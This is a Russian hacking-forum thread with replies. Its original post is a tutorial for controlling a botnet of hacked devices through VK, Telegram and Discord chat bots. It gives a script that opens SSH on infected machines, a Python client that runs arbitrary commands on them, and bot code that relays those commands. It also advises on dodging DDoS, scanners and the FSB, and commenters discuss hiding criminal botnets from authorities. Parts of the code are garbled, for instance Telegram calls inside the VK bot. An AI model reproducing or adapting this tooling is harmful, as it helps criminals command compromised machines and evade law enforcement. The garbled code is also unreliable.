PDA

Просмотр полной версии : Админим ботнет через соц-сети


KJhgIO
23.08.2019, 19:43
Привет античат , представим вот такую ситуацию : у вас есть собственный сервер, к которому постоянно подключаться различные взломанные устройства, а физический доступ к серверу отсутствует, разумеется в таком случае просто необходима админ панель или хотя-бы доступ по ssh.

Разумеется, открыть ещё один порт и поставить туда веб админ панель дело 5 минут (особенно учитывая что во многих скриптах модули для этого уже написаны)

Однако это не лучший вариант и у меня есть аргументы :

1. Уязвимость перед exploit'ами
(вы только взгляните на это и на это)
2. Уязвимость перед (d)dos атаками
3. Индексация многими сканерами

Поэтому я предлагаю альтернативу - использовать в качестве админ панели бота в соц сетях или мессенджерах.
Это очень хорошо защищает от ddos атак, даже получше cloudfare. Ведь у какого нибудь vk, серверов натыкано по всему миру, и все они расчитаны на большое количество клиентов, а также неплохо защищены от ddos'а (наверное). Даже если какой-то из серверов сломают, ваш бот все равно будет спокойно функционировать.

Ко всему тому такой бот найти будет посложнее чем веб админ панели
Есть даже сайт где их сливают =0

Однако есть свои минусы :

1. Блокировки
Любую(почти) соц сеть в РФ, СНГ могут заблокировать даже без предупреждения.
Разумеется серваки надо регать за границей и не забывать про прокси , однако будет очень глупо потерять доступ к ботсети из-за блокировки соц сети.

2. Приватность
Нельзя точно сказать мониторят ли ваш чат разработчики используемого вами мессенджера. Допустим :
Вы запускаете сервер и делаете админ панель через бота в telegram.
А на следующий день к вам приходят ФСБ с вашей историей переписок =0

3. Защита от спама
Многие мессенджеры ограничивают количество отправляемых сообщений. Это не позволит нашему боту отправлять много сообщений за небольшой промежуток времени, а это может помешать когда вам необходимо получить/отправить большое количество данных.

И так, приступим к делу (^°^)
Всё тесты я буду проводить на Linux(debian) системе, для управления ботнета использовать python3 и библиотеку paramiko (либа для работы с ssh).
Архитектура ботнета будет иметь следующий вид:

victim = server
attacker = client
attacker => victim

Да, в полевых условиях лучше сделать все наоборот, но в рамках статьи это прекрасно подходит.

Пишем сервер :

В качестве сервера буду использовать sh скрипт т.к. ориентировка на Linux систему
Скрипт будет запускать openssh сервер на зараженном устройстве и ждать комманд, опять же такая конструкция хороша только в учебных целях, на практике ГОРАЗДО лучше использовать reverse подключения

Bash:



#!/bin/bash
apt
install
openssh -y
systemctl start
ssh
#это запустит ssh сервер на 22 порту(по умолчанию) , к которому наш взломщик (клиент) будет подключаться и отправлять команды
##и да в конфиге(~/.ssh/config, /etc/ssh/sshd_config) необходимо расскоментировать эту строку: PasswordAuthentication yes
##это если на сервере стоит openssh
##также можно заранее создать конфиг и копировать в выше указанные файлы


Клиент :
Устанавливаем python3


apt install python3


Устанавливаем paramiko


pip3 install paramiko


Клиент будет лишь набором функции которые будут исполняться уже из бота.
Мы будем вызывать эти функции каждый раз когда пользователь бота захочет взаимодействовать с ботнетом
Проще говоря пишем как библиотеку а не как самостоятельный код

Немного ремарок:
1.Данный клиент подключаеться к localhost(на чистоту эксперимента это не влияет)
2.Он предусмотрен только на 1 подключение, но по желанию вы можете доработать код и добавить файл с логинами, айпи, портами для подключения к большему кол-ву устройств
3. Скачать python3 и либу paramiko:

apt install python3 && pip3 install paramiko


4. Текущий функционал - проверка онлайна и отправка комманд по ssh

Python:



import
paramiko
#импорт paramiko для ssh
host
=
"localhost"
#обозначение переменных для аутентификации
user
=
"user"
#вы можете создать нового юзера прямо в шелл скрипте описанном выше
mypass
=
"toor"
#но я решил не заморачиваться и взять логины которые уже были в системе
port
=
22
#данный порт дефолтный практически для всех ssh приложений
def
interact
(
comandd
)
:
#функция для отправки сообщений
client
=
paramiko
.
SSHClient
(
)
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
(
)
)
#добавляем localhost в список известных хостов
client
.
connect
(
hostname
=
host
,
username
=
user
,
password
=
mypass
,
port
=
port
)
#подключаемся :)
stdin
,
stdout
,
stderr
=
client
.
exec_command
(
comandd
)
#это наша команда
outputt
=
stdout
.
read
(
)
+
stderr
.
read
(
)
##смотрим что нам отвечает хост и помечаем это как outputt
f
=
open
(
"output.txt"
,
"w"
)
##открываем файл для записи в него нашего outputt
f
.
write
(
outputt
.
decode
(
"utf-8"
)
)
##заносим outputt в txt файл, который будем считывать в боте попутно декодируя текст из байт в привычный utf-8
f
.
close
(
)
client
.
close
(
)
def
checkconnection
(
)
:
#функция для проверки подключения
client
=
paramiko
.
SSHClient
(
)
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
(
)
)
#добавляем localhost в список известных хостов
client
.
connect
(
hostname
=
host
,
username
=
user
,
password
=
mypass
,
port
=
port
)
#подключаемся :)
client
.
close
(
)
#и отключаемся :)


данный код именуем client.py и размещаем в одну папку с вашим будующим ботом

Реализация самого чат-бота будет в следующих соц сетях и мессенджерах :
Vk
Telegram
Discord

Для ботов настроены следующие условия:
1.Доступ к админ панели по паролю
2. Проверка хоста на онлайн
3. Отправка комманд от юзера на хост и отправка сообщений от хоста юзеру
Перечень возможностей скудный, но вам ничего не мешает его расширить

И так начнём с вк
Установим либу vk_api


pip3 install vk_api


В вк нельзя настроить именно бота, но можно авторизоваться как сообщество или юзер и уже от этого имени обмениваться сообщениями. Лично я буду логиниться от имени группы (сообщества)
Для этого проделываем следующее :

1. Создаём сообщество (название, тематика и тд не важны)
2. На странице настроек сообщества выбираем пункт "работа с API"
3. Создаём longpool API ключ с необходимыми вам привелегиями
(для этого у вас потребуют подтверждение, либо по номеру телефона, либо по привязанному к аккаунту устройству)
4. Ключ сохраняем

Кодим бота:
(документация vk_api)

Python:



#coding: utf8
import
client
#импорт клиента для бот сети
import
random
import
vk_api
#импортируем библиотеки для вк
from
vk_api
.
longpoll
import
VkLongPoll
,
VkEventType
def
write_msg
(
user_id
,
message
)
:
#функция которая будет вызываться при отправке сообщений
randomid
=
random
.
randint
(
10
,
99999
)
##вк для отправки требует рандомное число, каждый раз, неясно зачем
vk
.
method
(
'messages.send'
,
{
'user_id'
:
user_id
,
'message'
:
message
,
'random_id'
:
randomid
}
)
token
=
"ТУТ-ВАШ-ТОКЕН"
#немного действий для верификации
vk
=
vk_api
.
VkApi
(
token
=
token
)
longpoll
=
VkLongPoll
(
vk
)
print
(
"bot is work!"
)
def
main
(
)
:
for
event
in
longpoll
.
listen
(
)
:
#ждем новых сообщений
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
:
#если они появляються начинаем действовать
write_msg
(
event
.
user_id
,
"please, enter password!"
)
#просим pass
for
event
in
longpoll
.
listen
(
)
:
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
and
event
.
text
==
(
"IMAROOT"
)
:
#проверям pass
write_msg
(
event
.
user_id
,
"welcome to botnet admin panel"
)
try
:
#проверяем подключение с хостом
client
.
checkconnection
(
)
write_msg
(
event
.
user_id
,
"1 host is online, start interacting with him?(Yes/No)"
)
for
event
in
longpoll
.
listen
(
)
:
#спрашиваем хочет ли юзер взаимодействовать с ним
if
event
.
type
==
VkEventType
.
MESSAGE_NEW
and
event
.
to_me
:
if
event
.
text
==
(
"Yes"
)
:
write_msg
(
event
.
user_id
,
"start interacting with host1..."
)
write_msg
(
event
.
user_id
,
"print => (exit) = (exit) <= to close connect with host 1"
)
bot
.
send_message
(
message
.
from_user
.
id
,
"enter something to host!"
)
bot
.
register_next_step_handler
(
message
,
hostinteract
)
#если согласен, то начинаем взаимодействие
elif
message
.
text
==
(
"No"
)
:
bot
.
send_message
(
message
.
from_user
.
id
,
"okay"
)
bot
.
send_message
(
message
.
from_user
.
id
,
"exit from admin panel..."
)
def
hostinteract
(
message
)
:
#функция для взаимодействия с хостом
if
message
.
text
==
(
"exit"
)
:
#если юзер хочет выйти, даем ему это сделать
bot
.
send_message
(
message
.
from_user
.
id
,
"stopping interact with host 1..."
)
else
:
#если нет, то:
commandd
=
message
.
text
client
.
interact
(
commandd
)
#передаем хосту месседж клиента
f
=
open
(
"output.txt"
,
"r"
)
#открываем файл с outputt
output
=
f
.
read
(
)
#считываем outputt
f
.
close
(
)
#закрываем файл с outputt
bot
.
send_message
(
message
.
from_user
.
id
,
output
)
#отсылаем outputt юзеру
bot
.
register_next_step_handler
(
message
,
hostinteract
)
#снова запускаем эту функцию
bot
.
polling
(
none_stop
=
True
,
interval
=
0
)
##постаянная проверка на наличие новых сообщений боту


Хоть теллеграмм и имеет статус "надежного" мессенджера, факт регистрации по номеру телефона не даёт покоя поэтому лучше поискать альтернативы

И последним на очереди у нас discord

Важно: discord api для python работает только на следующих версиях пайтона: 3.4.3-3.6.6
(discord.py использует библиотеку asyncio, синтаксис которой был переписан в новых версиях пайтона, если у кого есть ссылка на rewrite версию discord api, прошу скинуть её в комментарии)

Лично я решил выбрал python3.5


apt install python3.5


Установим discord_api и paramiko для этой версии пайтона


python3.5 -m pip install discord.py paramiko


Также discord требует asyncio


python3.5 -m pip install asyncio


В дискорде чтобы зарегестрировать бота необходимо создать еще и отдельный discord-сервер, благо это делаеться за несколько секунд

Сама регистрация бота здесь сложнее чем в вк и телеграмме

Теперь приступаем к написанию бота :

Python:



import
discord
#импортируем либы для дискорда
import
asyncio
#импорт либ для ассинхронных сообщений
import
clienteres
#импортируем клиент для ботнета, я его переименовал дабы избежать ошибок
TOKEN
=
(
"ТУТ_ВАШ_ТОКЕН"
)
#авторизуемся с токеном
client
=
discord
.
Client
(
)
#help справка
helpbot
=
(
"""
aviable next commands:
|---------------------------------------------------------|
|!help | get this help |
|!home | get info about botnet |
|!login | login to admin panel |
|!session | start interact with host |
|---------------------------------------------------------|

"""
)
f
=
open
(
"check.txt"
,
"w"
)
#создаем файл для бд логинов
f
.
close
(
)
@client.event
async
def
on_message
(
message
)
:
#ждем сообщений
if
message
.
author
!=
client
.
user
:
#проверяем что автор сообщения это не бот
if
message
.
content
==
(
"!help"
)
:
#выдаем справку (help)
await
message
.
channel
.
send
(
helpbot
)
if
message
.
content
==
(
"!home"
)
:
#функция для проверки онлайна
f
=
open
(
"check.txt"
,
"r"
)
#открываем файл с логинами авторизованных юзеров
check
=
f
.
read
(
)
f
.
close
(
)
if
str
(
message
.
author
)
in
str
(
check
)
:
#если логин этого пользователя там есть, то разрешаем пользование
await
message
.
channel
.
send
(
"welcome to admin botnet panel!"
)
try
:
clienteres
.
checkconnection
(
)
#предупреждаем если хосты онлайн
await
message
.
channel
.
send
(
""" host is online!! to connect with him enter "!session" """
)
except
clienteres
.
paramiko
.
ssh_exception
.
NoValidConnectionsError
:
##предупреждаем если все хосты офф
await
message
.
channel
.
send
(
"all hosts is offline!! please try later!"
)
else
:
#если юзер не залогинен, то просим залогиниться
await
message
.
channel
.
send
(
"Please login with command !login "
)
if
message
.
content
==
(
"!login"
)
:
#функция для авторизации
await
message
.
channel
.
send
(
"Please enter password!"
)
if
message
.
content
==
(
"IMAROOT"
)
:
#если пароль правильный
f
=
open
(
"check.txt"
,
"w"
)
#заносим никнейм пользователя в нашу мини бд
f
.
write
(
str
(
message
.
author
)
)
f
.
close
(
)
await
message
.
channel
.
send
(
"You succesfull login! Now you can use all options!"
)
if
message
.
content
==
(
"!session"
)
:
#функция для взаимодействия с хостом
f
=
open
(
"check.txt"
,
"r"
)
#чекаем есть ли логин юзера в нашей мини бд
check
=
f
.
read
(
)
f
.
close
(
)
if
str
(
message
.
author
)
not
in
check
:
#если нет просим залогиниться
await
message
.
channel
.
send
(
"Please login use !login"
)
else
:
#если логин есть, то пропускаем к сессии
try
:
clienteres
.
checkconnection
(
)
#проверям коннект
await
message
.
channel
.
send
(
"Start interacting with host 1"
)
await
message
.
channel
.
send
(
""" Enter "exit" to close session """
)
@client.event
async
def
on_message
(
message
)
:
#функция отправки сообщений для хоста и отсылкой ответов
if
message
.
author
!=
client
.
user
:
if
message
.
content
==
(
"exit"
)
:
#exit для выхода
await
message
.
channel
.
send
(
"You exit from admin panel..."
)
else
:
comandd
=
message
.
content
clienteres
.
interact
(
comandd
)
#передаем команду хосту
f
=
open
(
"output.txt"
,
"r"
)
#смотрим output
output
=
f
.
read
(
)
f
.
close
(
)
await
message
.
channel
.
send
(
output
)
#отсылаем output
except
clienteres
.
paramiko
.
ssh_exception
.
NoValidConnectionsError
:
#если коннекта нет , так и пишем
await
message
.
channel
.
send
(
"Host is offline! Please try later!"
)
commandss
=
[
"!help"
,
"!home"
,
"!login"
,
"!session"
,
"IMAROOT"
]
if
message
.
content
not
in
commandss
:
await
message
.
channel
.
send
(
"Enter !help to more information"
)
client
.
run
(
TOKEN
)
#запускаем бота!
print
(
"bot is work!"
)


На мой взгляд использовать бота для подобных целей, очень практично, разумееться если заранее найти подходящий месенджер.
Что-ж, на этом все, спасибо за внимание

Ludovic13
23.06.2020, 13:44
Эммм , а как ФСБ придёт к тебе с историей переписок , если телега даже сейчас не сливает данные пользователей , если ты не терр?

morgot
23.06.2020, 18:40
Ludovic13 сказал(а):

если телега даже сейчас не сливает данные пользователей


Вы в это всерьез верите?)

Ludovic13
24.06.2020, 17:44
morgot сказал(а):

Вы в это всерьез верите?)


По крайней мере побывав на начале его создания , такого не было мб уже все изменилось ....

morgot
25.06.2020, 23:29
В криминале нельзя никому верить. И уж тем более надеяться на чьи-то слова. Понятно, если ваш ботнет маленький или вообще учебный, кому оно надо. А если это будет что-то серьезное - сразу же выдадут. И если уж на то пошло, телега может защищать оппозиционеров и прочих товарищей (не верю, но допускаю), но уж никак не ботоводов.

Ludovic13
26.06.2020, 19:51
morgot сказал(а):

В криминале нельзя никому верить. И уж тем более надеяться на чьи-то слова. Понятно, если ваш ботнет маленький или вообще учебный, кому оно надо. А если это будет что-то серьезное - сразу же выдадут. И если уж на то пошло, телега может защищать оппозиционеров и прочих товарищей (не верю, но допускаю), но уж никак не ботоводов.


А как насчёт телеграфа , там сложно будет кого-то вычислить ?

morgot
26.06.2020, 19:58
Ludovic13 сказал(а):

А как насчёт телеграфа , там сложно будет кого-то вычислить ?


Не могу сказать, просто не верю в сказки хоть Дурова, хоть кого еще. Никто не будет бесплатно хостить ботнеты.

Ludovic13
26.06.2020, 20:00
morgot сказал(а):

Не могу сказать, просто не верю в сказки хоть Дурова, хоть кого еще. Никто не будет бесплатно хостить ботнеты.


Учту

Николай Мирных
03.12.2020, 09:50
не работает, постоянно спрашивает пароль, я ввожу и правильный и неправильной одно и тоже